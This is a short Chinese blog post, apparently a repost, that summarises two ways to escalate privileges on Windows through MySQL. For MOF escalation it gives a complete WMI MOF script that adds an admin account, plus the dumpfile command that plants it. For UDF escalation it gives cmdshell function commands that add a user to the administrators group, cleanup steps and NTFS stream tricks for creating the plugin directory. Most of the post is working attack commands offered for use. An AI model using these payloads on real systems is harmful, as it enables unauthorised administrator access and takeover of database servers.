mysql 提权总结

1.MOF提权

简单的说mof就是系统内部的一个程序,每隔一定时间系统就会以root权限去执行,我们将其替换然后执行我们的而已攻击代码。此举称之为mof提权。

以下便是脚本:

 1 #pragma namespace("\\.\root\subscription") 
 2 
 3 instance of __EventFilter as $EventFilter 
 4 { 
 5     EventNamespace = "Root\Cimv2"; 
 6     Name  = "filtP2"; 
 7     Query = "Select * From __InstanceModificationEvent " 
 8             "Where TargetInstance Isa "Win32_LocalTime" " 
 9             "And TargetInstance.Second = 5"; 
10     QueryLanguage = "WQL"; 
11 }; 
12 
13 instance of ActiveScriptEventConsumer as $Consumer 
14 { 
15     Name = "consPCSV2"; 
16     ScriptingEngine = "JScript"; 
17     ScriptText = 
18     "var WSH = new ActiveXObject("WScript.Shell")
WSH.run("net.exe user admin admin /add")"; 
19 }; 
20 
21 instance of __FilterToConsumerBinding 
22 { 
23     Consumer   = $Consumer; 
24     Filter = $EventFilter; 
25 };

 保存为a.mof然后找一个可写目录上传a.mof,使用MySQL执行:select load_file('D:wampa.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

即可提权成功。PS:添加的账号密码在脚本里。

2.UDF提权

 0x01

首先需要判断版本。且在导出dll的时候需要多加一个斜杠

mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

mysql版本 > 5.2 ,UDF导出到安装路径MySQLLibPlugin   一般情况下是大于5.2的,而默认情况下[Plugin]目录也是不存在的。可以通过菜刀新建,如若不行可以通过0x03的NTFS流创建。

0x02

  创建cmdshell函数

create function cmdshell returns string soname 'udf.dll';

select cmdshell('net user waitalone waitalone.cn /add');

select cmdshell('net localgroup administrators waitalone /add');

drop function cmdshell; 删除函数

delete from mysql.func where name='cmdshell'  删除函数

0x03

在默认情况下会遇到Can't open shared library也就是文件夹问题,需要创建一刚开始说的文件夹,可以菜刀里直接新建,如若不行,可以通过NTFS创建。

查找到mysql的目录:select @@basedir;

利用NTFS ADS创建lib目录:select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';   

利用NTFS ADS创建plugin目录:select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';

然后导出以后就再创建函数通过函数来执行cmd即可。

 

原文地址:https://www.cnblogs.com/nul1/p/9602512.html